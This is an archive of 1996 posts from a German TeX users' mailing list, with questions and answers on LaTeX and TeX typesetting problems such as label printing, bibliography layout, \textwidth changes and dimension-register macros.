owner-tex-d-l@VM.GMD.DE Mon Jan 22 14:20:00 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Arnt Broska Date: Mon, 22 Jan 1996 14:19:01 +0100 Subject: bibtex-style fuer theologie Hallo ! Ich suche einen BibTeX-Style, der i) h"aufig zitierte Literatur mit einem (in der Literatur-Datenbank anzugebenden) K"urzel zitiert und ii) sonstige Literatur in voller L"ange. Wei"s da eine oder einer was? Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann EMail-Adress: abroska@mathi.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Wed Jan 24 15:15:20 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Henning Matthes Date: Wed, 24 Jan 1996 14:54:50 +0100 Subject: framebox in picture hi, kann eine Framebox in der picture-umgebung so angelegt werden, da"s die umschliessenden Linien innerhalb der angegebenen Box liegen? Vorher von Hand ausrechnen ist nicht die L"osung. Gru"s Henning ================================================= Henning Matthes FON 04383/9898 ISDN M"uhlenbergring 20 FAX 04383/9897 24329 Grebin eMail:matthes@toppoint.de From owner-tex-d-l@VM.GMD.DE Wed Jan 24 22:15:34 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Wed, 24 Jan 1996 20:51:48 +0100 Subject: Re: framebox in picture In Henning Matthes writes: >hi, >kann eine Framebox in der picture-umgebung so angelegt werden, >da"s die umschliessenden Linien innerhalb der angegebenen Box >liegen? Vorher von Hand ausrechnen ist nicht die L"osung. Nicht so einfach. :-( \framebox im picture-Modus ist wenig anderes als \frame{\makebox}}. Gru"s Martin -- Martin Schr"oder, MS@Dream.HB.North.DE Internet: Thousands of people mostly unaware of the sight and sound of each other, linked together by the bits of our souls that can fit through computer keyboards. (James Fortune) From owner-tex-d-l@VM.GMD.DE Fri Jan 26 15:11:28 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Fri, 26 Jan 1996 15:10:12 +0100 Subject: Re: Wie kann man mithilfe der .pk-Files das .tfm-File rekonstruieren? Johannes Heinecke schreibt: > gibt es eine M"oglichkeit mithilfe der .pk-Files das > dazugeh"orige .tfm-File zu generieren? [...] > Als Trick habe ich ein > anderes .tfm-File umgenannt in jkata.tfm. So konnte ich wenigstens > die Buchstaben sehen, aber nat"urlich stimmen so die Abst"ande, > Ligaturen, Kernings "uberhaupt nicht. Nein, gibt es nicht. Die tfm-Dateien enthalten vergroesserungsunabhangige, nicht auf Pixel gerundete Masse, waehrend ein pk-File zwar auch teilweise dieselben Masse enthaelt, aber fuer eine bestimmte Vergroesserung und Geraete-Aufloesung und natuerlich fehlen die Ligaturen und das Kerning dort voellig. Es bleibt also nichts anderes uebrig, als korrigierte Versionen fuer die fehlerhaften tfm-Dateien beim Autor anzufordern. -bernd From owner-tex-d-l@VM.GMD.DE Fri Jan 26 15:30:02 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Fri, 26 Jan 1996 15:28:23 +0100 Subject: Re: Wie kann man mithilfe der .pk-Files das .tfm-File rekonstruieren? Bernd Raichle schreibt: > Die tfm-Dateien enthalten > vergroesserungsunabhangige, nicht auf Pixel gerundete Masse, waehrend > ein pk-File zwar auch teilweise dieselben Masse enthaelt, aber fuer > eine bestimmte Vergroesserung und Geraete-Aufloesung und natuerlich > fehlen die Ligaturen und das Kerning dort voellig. [Uiii, ich darf mal Bernd erg"anzen!] PK-Dateien enthalten *ein* ger"ate- und vergr"osserungsunabh"angiges Mass, das sich genauso in der TFM-Datei wiederfindet, und das ist die Breite des Zeichens. Selbige wird ben"otigt, um DVI-Kommandos der Form SETx zu bearbeiten, die ein Zeichen plazieren und die interne ungerundete Schreibposition des DVI-Prozessors um die Breite dieses Zeichens nach rechts bewegen. Man muss vermutlich mal einen DVI-Treiber geschrieben haben, um die Qualen w"urdigen zu k"onnen, die erforderlich sind, um Rundungsfehler beim Runden von internen DVI-Positionen (in sp) auf Ger"atepixel zu vermeiden bzw. zu minimieren. Dass ausgerechnet dieses Mass in der PK-Datei steht, hat Effizienzgr"unde; fr"uhere DVI-Prozessoren, die PXL-Zeichens"atze benutzten, mussten ausserdem die TFM-Dateien lesen, um an die ger"ateunabh"angige Zeichenbreite zu kommen. Mit PK-Dateien bleibt ihnen das erspart. Alle anderen Informationen aus den TFM-Dateien sind nur f"ur TeX interessant, nicht f"ur Treiber, oder sind implizit ersichtlich, wie die in der Datei vorhandenen Zeichen. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de The use of COBOL cripples the mind; its teaching should, therefore, be regarded as a criminal offense. --- Edsger W. Dijkstra From owner-tex-d-l@VM.GMD.DE Fri Jan 26 14:38:35 1996 Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke Date: Fri, 26 Jan 1996 14:36:18 0100 Subject: Wie kann man mithilfe der .pk-Files das .tfm-File rekonstruieren? Hallo, gibt es eine M"oglichkeit mithilfe der .pk-Files das dazugeh"orige .tfm-File zu generieren? Ich habe einen Font vom CTAN-Server geholt (jkata*.pk) aber TeX weigert sich, dass .tfm-File als solches zu akzeptieren. Auch tftopl sagt, ``dass muss was anderes sein''. Die .pk Files sind aber OK. wie kann ich sie benutzbar machen? Als Trick habe ich ein anderes .tfm-File umgenannt in jkata.tfm. So konnte ich wenigstens die Buchstaben sehen, aber nat"urlich stimmen so die Abst"ande, Ligaturen, Kernings "uberhaupt nicht. Dankbar "uber jeden Hinweis Johannes -- Johannes Heinecke Computerlinguistik Humboldt Universit"at zu Berlin http://www.compling.hu-berlin.de/~johannes From owner-tex-d-l@VM.GMD.DE Sat Jan 27 18:51:41 1996 Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="PART-BOUNDARY=.19601271741.ZM12275.space.infra.de" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reimond Rombey Date: Sat, 27 Jan 1996 17:41:39 +0000 Subject: Wie kann ich Etiketten mit LaTeX erstellen? --PART-BOUNDARY=.19601271741.ZM12275.space.infra.de Content-Description: Text Content-Type: text/plain ; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Zm-Decoding-Hint: mimencode -q -u Hallo, wie das Subject schon sagt. Ich m=F6chte speziell Visitenkarten bedrucken (Visitenkarten Zweckform No= =2E 32010). Wer kann mir helfen? Beste Gr=FC=DFe aus Freiburg, Reimond Rombey -- = Reimond Rombey Eisenlohrstrasse 18, D-79115 Freiburg, Fon +49 761 48317 LEGAL NOTICE: Microsoft is prohibited from posting, redistributing or using this work in any form, in whole or in part. (C) '96 Reimond Rombey --PART-BOUNDARY=.19601271741.ZM12275.space.infra.de-- From owner-tex-d-l@VM.GMD.DE Mon Jan 29 10:44:41 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Schneider Date: Sat, 27 Jan 1996 22:07:00 +0200 Subject: Wie kann man mithilfe der .pk-Files das .tfm-File rekonstruieren? Kommentar zu A60231@H in der Gruppe TeX-D-L Hi Johannes, JHJ>gibt es eine M"oglichkeit mithilfe der .pk-Files das dazugeh"orige JHJ>.tfm-File zu generieren? waere Dir evtl. mit einer Rekonstruktion der GF-Files geholfen? Oder bringt Dich das nicht weiter? Immerhin koenntest Du Dir dann mit GFtoDVI was Anschauliches erzeugen! Und TTschê ps From owner-tex-d-l@VM.GMD.DE Sun Jan 28 16:16:54 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Becker Date: Sun, 28 Jan 1996 16:16:55 +0100 Subject: Re: Wie kann ich Etiketten mit LaTeX erstellen? Guten Tag! Die Antwort bitte nicht nur als PM, sondern auch fuer4s Netz Danke! Joachim -- +----------------------------------------------------------------------+ | Joachim Becker | Tel: +49+551+395482 | | Sprachwissenschaftliches Seminar | Tel: +49+551+484176 (priv) | | Georg-August-Universitaet Goettingen | FAX: +49+551+55646 | | Humboldtallee 13 | | | 37073 Goettingen / Germany | WWW: http://www.gwdg.de/~uhsw | +----------------------------------------------------------------------+ From owner-tex-d-l@VM.GMD.DE Mon Jan 29 10:33:38 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Seitz Date: Mon, 29 Jan 1996 10:31:10 +0100 Subject: Re: Wie kann ich Etiketten mit LaTeX erstellen? On Sun, 28 Jan 1996 16:16:55 +0100 Joachim Becker wrote: > Guten Tag! > > Die Antwort bitte nicht nur als PM, sondern auch fuer4s Netz Hallo Joachim, wollte schon nicht drauf antworten, da meine Loesung nicht sehr elegant ist, aber da offensichtlich mehr Interesse besteht hier mein Versuch, Etiketten fuer eine Bibliothek zu drucken. Extrahiert einfach mal das LaTeX2.09 file und uebersetzt es... \documentstyle[german,a4]{article} \pagestyle{empty} \oddsidemargin -1.74cm \evensidemargin -1.74cm \marginparwidth 1in \marginparsep 0pt \topmargin -5mm \headheight 0pt \headsep 0pt \topskip 0pt \footheight 0pt \footskip 0pt \textheight 297mm \textwidth 196.6mm \begin{document} \newfont{\cminch}{cminch scaled 1000} \newfont{\cmss}{cmss17 scaled 1440} \newfont{\cmssa}{cmss17 scaled 1200} \newfont{\cmssb}{cmss17 scaled 1095} \newfont{\cmssc}{cmss17 scaled 1000} \newfont{\cmssd}{cmss17 scaled 2074} \newfont{\cmssdc}{cmssdc10 scaled 2074} \newfont{\cmssdca}{cmssdc10 scaled 1440} \noindent \begin{minipage}[b]{9cm} \mbox{ \rlap{\cminch A} \hspace*{2.7cm} \begin{tabular}[b]{l} \cmssdc Nachschlagewerke\\[1.3ex] \cmssdc W"orterb"ucher \end{tabular} }\\ \rule{8.7cm}{1mm}\\[1.5ex] \hspace*{2.7cm} \begin{tabular}[b]{l} {\,\,\cmss\llap{000\hspace{1cm}} Allgemeines} \end{tabular} \end{minipage}\hfill % \begin{minipage}[b]{9cm} \mbox{ \rlap{\cminch A} \hspace*{2.7cm} \begin{tabular}[b]{l} \cmssdc Lehrb"ucher\\[1.3ex] \cmssdc Tabellenwerke \end{tabular} }\\ \rule{8.7cm}{1mm}\\[1.5ex] \hspace*{2.7cm} \begin{tabular}[b]{l} {\,\,\cmss \llap{100\hspace{1cm}} Allgemeines} \end{tabular} \end{minipage} \vspace{3.395cm} \noindent \begin{minipage}[b]{9cm} \mbox{ \rlap{\cminch A} \hspace*{2.7cm} \begin{tabular}[b]{l} \cmssdc Andere\\[1.3ex] \cmssdc Kompendien \end{tabular} }\\ \rule{8.7cm}{1mm}\\[1.5ex] \hspace*{2.7cm} \begin{tabular}[b]{l} {\,\,\cmss \llap{200\hspace{1cm}} Allgemeines} \end{tabular} \end{minipage}\hfill % \begin{minipage}[b]{9cm} \mbox{ \rlap{\cminch A} \hspace*{2.7cm} \begin{tabular}[b]{l} \cmssdc Umfassende\\[1.3ex] \cmssdc Werke \end{tabular} }\\ \rule{8.7cm}{1mm}\\[1.5ex] \hspace*{2.7cm} \begin{tabular}[b]{l} {\,\,\cmss \llap{300\hspace{1cm}} Allgemeines} \end{tabular} \end{minipage} \vspace{3.395cm} \noindent \begin{minipage}[b]{9cm} \mbox{ \rlap{\cminch A} \hspace*{2.7cm} \begin{tabular}[b]{l} \cmssdc \\[1.3ex] \cmssdc Allgemeines \end{tabular} }\\ \rule{8.7cm}{1mm}\\[1.5ex] \hspace*{2.7cm} \begin{tabular}[b]{l} {\,\,\cmss \llap{400\hspace{1cm}} Allgemeines} \end{tabular} \end{minipage}\hfill % \begin{minipage}[b]{9cm} \mbox{ \rlap{\cminch B} \hspace*{2.7cm} \begin{tabular}[b]{l} \cmssdca Bauordnungswesen\\[1.3ex] \cmssdc Baugesetz \end{tabular} }\\ \rule{8.7cm}{1mm}\\[1.5ex] \hspace*{2.7cm} \begin{tabular}[b]{l} {\,\,\cmssa \llap{000\hspace{1cm}} Bauordnungswesen} \end{tabular} \end{minipage} \vspace{3.395cm} \noindent \begin{minipage}[b]{9cm} \mbox{ \rlap{\cminch B} \hspace*{2.7cm} \begin{tabular}[b]{l} \cmssdc Bauvertragsrecht\\[1.3ex] \cmssdc Geb"uhrenordnung \end{tabular} }\\ \rule{8.7cm}{1mm}\\[1.5ex] \hspace*{2.7cm} \begin{tabular}[b]{l} {\,\,\cmssa \llap{100\hspace{1cm}} Bauordnungswesen} \end{tabular} \end{minipage}\hfill % \begin{minipage}[b]{9cm} \mbox{ \rlap{\cminch B} \hspace*{2.7cm} \begin{tabular}[b]{l} %\cmssdc \\[1.3ex] \cmssdc Verdingungswesen \end{tabular} }\\ \rule{8.7cm}{1mm}\\[1.5ex] \hspace*{2.7cm} \begin{tabular}[b]{l} {\,\,\cmssa \llap{200\hspace{1cm}} Bauordnungswesen} \end{tabular} \end{minipage} % % nach 4 Aufklebern neue Seite \newpage % \end{document} Jetzt bin ich aber gespannt, was die Profis dazu sagen... Peter With best compliments Peter Seitz (Faculty for civil engineering) -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Verkehrswesenzeichensaal (VZS) The better drawing site :-) University of Technology Graz e-mail: Technikerstrasse 4/II seitz@bzs.tu-graz.ac.at (Internet) A-8010 Graz, Austria 2:316/5.18 (FidoNet) http://gewi.kfunigraz.ac.at/institute/dolmetsch/ -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- From owner-tex-d-l@VM.GMD.DE Mon Jan 29 16:00:59 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Arnt Broska Date: Mon, 29 Jan 1996 16:00:03 +0100 Subject: "Uberschriften in Literaturverzeichnis Hallo! Wie kann ich innerhalb eines Literaturverzeichnises "Uberschriften setzen? Meine erste Idee \begin{thebibliography}{x} \subsection*{Zur Figur der Maria} \bibitem ... \subsection*{Zur P"adagogik} \bibitem ... \end{thebibliography} klappt jedenfalls nicht! Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann EMail-Adress: abroska@mathi.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Wed Jan 31 11:49:55 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Daniella Hoffmann Date: Wed, 31 Jan 1996 11:48:09 +0100 Subject: packages wieder loswerden?? Gibt es eine Moeglichkeit, einmal mit usepackage eingebundene Pakete wieder 'loszuwerden' sprich waehrend der Laufzeit wieder zu deinstallieren? Besten Dank Daniella Hoffmann TU Dresden / URZ dhoffman@rcs.urz.tu-dresden.de From owner-tex-d-l@VM.GMD.DE Wed Jan 31 11:57:42 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Wed, 31 Jan 1996 11:56:52 +0100 Subject: Re: packages wieder loswerden?? Daniella Hoffmann fraegt: > Gibt es eine Moeglichkeit, einmal mit usepackage eingebundene Pakete > wieder 'loszuwerden' sprich waehrend der Laufzeit wieder zu deinstallieren? Nein. ...ausser es wurde dazu schon vorbereitet, d.h. es gibt z.B. irgendwo eine Liste der zu entfernenden Makros etc.etc. Aber selbst in diesem Fall ist es nie ganz aus TeX Speicher verschwunden, sondern hat immer noch Spuren hinterlassen. Beispielweise bleibt fuer jede `control sequence' ein belegter Hashtabelleneintrag zurueck, und wenn dort nur drinsteht, dass dessen Bedeutung undefiniert ist. -bernd PS: `german.sty' (keine Uraltversionen) kann man z.B. in einer Gruppe laden und am Ende der Gruppe sind alle Definitionen, bis auf wenige Ausnahmen, vergessen. ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Wed Jan 31 12:50:07 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Arnt Broska Date: Wed, 31 Jan 1996 12:49:17 +0100 Subject: \textwidth vergroessern klappt nicht. Hallo! In einem Dokument wiill ich ein paar seiten mit schmalerem umbruch setzen. Das funktioniert mit \setlength{\textwidth}{0.9\textwidth}. Sp"atere Seiten sollen aber wieder die alte breite haben. Dazu probierte ich \setlength{\textwidth}{1.1111111\textwidth}. Das funktioniert aber irgendwie nicht: Der Umbruch bleibt schmal. Woran kann das liegen? Ein weiteres Problem dabei hab ich mit der \footnoterule: Die habe ich n"amlich anfangs umdefiniert zu einem Strich "uber die Seitenbreite: \def\footnoterule{ ... \rule{\textwidth}{0.4pt} ...} Das will dann auch nicht richtig klappen: Der Strich bleibt z. B. breit, wenn ich (mit \setlength{\textwidth}) auf schmalen Umbruch gestellt habe! Weiss jemand Rat? Ciao, Leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann EMail-Adress: abroska@mathi.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From owner-tex-d-l@VM.GMD.DE Wed Jan 31 12:55:23 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hubert Partl Date: Wed, 31 Jan 1996 12:55:10 MET Subject: Re: \textwidth vergroessern klappt nicht. > In einem Dokument wiill ich ein paar seiten mit schmalerem umbruch > setzen. Das funktioniert mit > \setlength{\textwidth}{0.9\textwidth}. > Sp"atere Seiten sollen aber wieder die alte breite haben. Dazu probierte ich > \setlength{\textwidth}{1.1111111\textwidth}. > Das funktioniert aber irgendwie nicht: Der Umbruch bleibt schmal. Woran > kann das liegen? Warum nicht "Gruppen" verwenden? Also: ... normale Seiten ... \clearpage { \setlength{\textwidth}{0.9\textwidth}. ... schmale Seiten ... \clearpage } ... normale Seiten ... -- Hubert Partl partl@mail.boku.ac.at ZID BOKU Wien http://www.boku.ac.at/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ if ( music == food(love) ) play_on(); /* night[12] */ From owner-tex-d-l@VM.GMD.DE Wed Jan 31 13:33:56 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Wed, 31 Jan 1996 13:34:41 +0100 Subject: Re: packages wieder loswerden?? Nein, gibt es nicht. Manche Pakete (Babel z. B.) haben eigens Deinstallationsbefehle (\originalTeX). Was gehen kann (Warnung, schlechter Stil) (Warnung, scheitert, wenn Paket Pr"aambelbefehle enth"alt) (Warnung, funktioniert nicht, wenn Paket Dinge global definiert) (Warnung: nur tun, wenn mer genau Bescheide weiss, was mer anrichtet) \begingroup\makeatletter\input{paket.sty}\makeatother Text...Text \endgroup% Hier endet (hoffentlich) der Wirkungsbereich des Paketes. --J"org Knappen. From owner-tex-d-l@VM.GMD.DE Fri Feb 2 20:03:33 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Markus Kohm Date: Thu, 1 Feb 1996 08:25:00 GMT Subject: \textwidth vergroessern klappt nicht. >Warum nicht "Gruppen" verwenden? >Also: > ... normale Seiten ... > \clearpage > { > \setlength{\textwidth}{0.9\textwidth}. > ... schmale Seiten ... > \clearpage > } > ... normale Seiten ... Auch das funktioniert nur eingeschraenkt. Man muss dazu wissen, dass bei \begin{document} \textwidth fuer einige Initialisierungen verwendet wird, z.B.: \@colht\textheight \@colroom\textheight \vsize\textheight \columnwidth\textwidth (wobei die Groessen dann ihrerseits wieder fuer weitere Initialisierungen verwendet werden). Damit hat die Veraenderung von \textwidth nur eingeschraenkten Nutzen. Eigentlich muesste man eine ganze Reihe von Werten neu berechnen. Ein Hinweis, was alles zu tun waere, findet sich in der definition von \document in ltfiles.dtx. Allerdings besteht auch noch eine Abhaengigkeit zu verwendten Packages wie z.B. multicol. Eine andere Moeglichkeit eine gewisse Anzahl von Seiten komplett mit einer anderen Breite zu setzen, besteht darin, diese in einem anderen Dokument unterzubringen. Auf die benoetigten Referenzen (z.B. auch zur Fortschaltung der Seitennummern) empfiehlt sich das xr-Package aus den Standard-Tools. Gruss Markus From owner-tex-d-l@VM.GMD.DE Thu Feb 1 19:22:00 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Thu, 1 Feb 1996 19:07:28 +0100 Subject: CD 'ctan/3 -- das TeX/LaTeX-archiv von dante e.v.' die cd (ohne buch) ist ab sofort fuer mitglieder (und nur fuer mitglieder!!) von dante e.v. zu einem preis von sage und schreibe 10.-- dm (inklusive versand) ueber den verein erhaeltlich. am samstag geht ein bestellformular an alle mitglieder zusammen mit der mitgliederzeitung und der einladung zur DANTE'96 in die post. bitte keine bestellungen per email an mich. mit freundlichen gruessen luzia dietsche ps: nicht vergessen -- DANTE'96 ist vom 27.3.--29.3. in augsburg! pps: die cd enthaelt einen abzug des ctan-server ftp.dante.de, stand november 1995. *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Fri Feb 2 14:50:58 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Fri, 2 Feb 1996 12:29:01 +0100 Subject: Realzahlen Hallo TeXperten ich m"ochte reale Zahlen in TeX addieren und subtrahieren und schlie¤lich ausgeben. Dazu kann man Dimensionsregister mi¤brauchen. Mein Problem ist nun, da¤ bei der Ausgabe immer die Einheit "pt" an meine reellen Zahlen angeh ngt wird, was ich sehr unsch"on finde, da es sich nun mal nicht um L"angen handelt. Ich habe versucht, einem Befehl eine solche L"ange zu "ubergeben, wobei der Befehl folgenderma"sen definiert ist: \def\realaus#1pt{#1} Damit erhoffte ich mir, da"s die Einheit schlicht ignoriert wird. Mit \realaus47.11pt klappt das auch wie erwartet, aber \newdimen\einc \realaus\the\einc funktioniert (nat"urlich -- wird der TeXperte sagen) nicht, da das, was ich als Argument "ubergeben m"ochte noch nicht expandiert ist. Wie macht man es denn nun richtig? Oder gibt es noch eine bessere / andere funktionst"uchte L"osung. Ganz ungeschickt erscheint mir, das Dimensionsregister in ein Tokenregister auszugeben und dann nacheinander die einzelnen Zeichen auszugeben, bis ein `p' kommt. Vielen Dank f"ur eine schnelle Hilfe Andreas. From owner-tex-d-l@VM.GMD.DE Fri Feb 2 15:31:09 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Fri, 2 Feb 1996 15:09:25 +0100 Subject: Re: Realzahlen Andreas Tille schreibt: : ich m"ochte reale Zahlen in TeX addieren und subtrahieren und schlieÐlich : ausgeben. Dazu kann man Dimensionsregister miÐbrauchen. Es gibt dazu auch schon fertige Makropakete, wie `realcalc' (CTAN: macros/generic/realcalc/), die das ohne Dimensionsregister machen. : Mein Problem ist nun, daÐ bei der Ausgabe immer die Einheit "pt" an meine : reellen Zahlen angeh ngt wird, was ich sehr unsch"on finde, da es sich : nun mal nicht um L"angen handelt. : : Ich habe versucht, einem Befehl eine solche L"ange zu "ubergeben, wobei : der Befehl folgenderma"sen definiert ist: : : \def\realaus#1pt{#1} ^^ ==> die Delimiter `p' und `t' des Arguments #1 muessen damit den category code `letter' (= 11) haben... [...] : \newdimen\einc : \realaus\the\einc ...jedoch erzeugt \the nur Zeichen mit category code `other' (=12), wenn man von den Leerzeichen mal absieht. (Siehe TeXbook, u.a. auch in Anhang D) Damit letzteres funktioniert muss man daher \realaus so definieren: \begingroup \catcode`\P=12 \catcode`\T=12 \lowercase{\endgroup \def\realaus#1PT{#1}% } leider funktioniert dann aber das Makro nicht mehr, wenn man wie in \realaus 123.45pt eine Dimension direkt angibt. Da man letzteres aber vermeiden kann, wenn man auch noch ein Makro angibt, dass aus einem `real' eine Dimension macht, ist das alles nicht zu schlimm. Oder man weist die Dimension zuerst einem Register zu, und benutzt dann das obige \realaus mit catcode 12, wie z.B. \def\realaus{\begingroup \afterassignment\dorealaus\dimen0=} \def\dorealaus{% \expandafter\endgroup \expandafter\hilfrealaus\the\dimen0 % <== Leerzeichen ist wichtig! } \begingroup \catcode`\P=12 \catcode`\T=12 \lowercase{\endgroup \def\hilfrealaus#1PT{#1}% } [...] : Ganz ungeschickt erscheint mir, das Dimensionsregister in ein Tokenregister : auszugeben und dann nacheinander die einzelnen Zeichen auszugeben, bis : ein `p' kommt. So ungeschickt ist das auch wieder nicht nicht, wenn man zuerst nach `pt' mit catcode 11 und dann, falls nicht gefunden, nach `pt' mit catcode 12 sucht. Geht in TeX relativ schnell und einfach, ausserdem hat es gegenueber obiger Zuweisungsloesung noch den Vorteil, dass man es vollstaendig expandierbar implementieren koennte... Gruesse, -bernd PS: Zur Erinnerung: DANTE '96 und 14. Mitgliederversammlung 27.-29. Maerz 1996 Rechenzentrum der Universitaet Augsburg 86159 Augsburg Kontakt: Gerhard Wilhelms (dante96@uni-augsburg.de) oder DANTE e.V. (dante@dante.de) Infos: http://www.math.uni-augsburg.de/~wilhelms/dante96/ ____________________________________________________________________ Bernd Raichle "Le langage est source DANTE e.V., Koordinator `german.sty' de malentendus" email: german@dante.de (A. de Saint-Exupery) Infos ueber DANTE e.V.: ftp: ftp.dante.de oder email: ftpmail@dante.de in /tex-archive/usergrps/dante/ www: http://www.dante.de/ From owner-tex-d-l@VM.GMD.DE Fri Feb 2 16:44:54 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Frank Holzwarth Date: Fri, 2 Feb 1996 16:43:04 +0002 Subject: Probleme beim Entpacken von LaTeX Liebe Kollegen und -Innen, Ich habe Schwierigkeiten beim Entpacken der LaTeX2e<1995/12/01>-Version. Ein neuer Rechner, ein neues Betriebssystem (Windows 95), ein neues TeX (Y&Y Version 3.141) und eine neue LaTeX2e-Fassung ist etwas zu viel auf einmal (au"serdem ist Freitag Nachmittag :-) Problembeschreibung ------------------- W"ahrend INITEX unpack.ins kommt folgende Meldung: ! I can't write on file `./ansinew.def'. Die Datei ansinew.def ist nat"urlich problemlos anlegbar, Platz ist auf der Platte auch gen"gend. Ich kann mich erinnern, irgendwo etwas "uber zu viele offene files unter MS-DOS und eine Abhilfe gelesen zu haben, aber zusammen mit WIN95 wei"s ich nicht wie das gehen soll. Wenn ich die ausgepackte Version von ftp.dante.de im Verzeichnis macros/latex/unpacked verwende, klappt die Installation und Einrichtung von LaTeX2e problemlos. In freudiger Erwartung kompetenter Hilfe und den besten W"unschen f"ur ein "`rutschfreies"' Wochenende, Frank Holzwarth e-mail Internet: HOLZWARTH@ALPHA.NTP.SPRINGER.DE Springer-Verlag Abteilung Neue Techniken/Produktentwicklung Tiergartenstrasse 17 69121 Heidelberg From owner-tex-d-l@VM.GMD.DE Sun Feb 4 05:15:45 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Schneider Date: Fri, 2 Feb 1996 22:46:00 +0200 Subject: \textwidth vergroessern klappt nicht. Kommentar zu A20529@H in der Gruppe TeX-D-L Hi Leo, LABA>Weiss jemand Rat? Machst Du die (Um-)Definitionen evtl. innerhalb einer Gruppe? Und TTschê ps From owner-tex-d-l@VM.GMD.DE Fri Feb 2 23:34:46 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Martin Schroeder Date: Fri, 2 Feb 1996 22:42:36 +0100 Subject: TeX-Stammtisch in Bremen im Februar 1996 Liebe Freunde, hiermit lade ich euch herzlich zum n"achsten Bremer TeX-Stammtisch am 6. Februar 1996 um 18:00 in der Universit"at Bremen, MZH, 4. Ebene, gegen"uber den Fahrst"uhlen ein. Kontakt: Martin Schr"oder, MS@Dream.HB.North.DE, Tel. 0421/628813 Die Einladung habe sind als .tex, .dvi, .lj und .ps-Datei auf dem ftp-Server ftp.hb.north.de im Verzeichnis 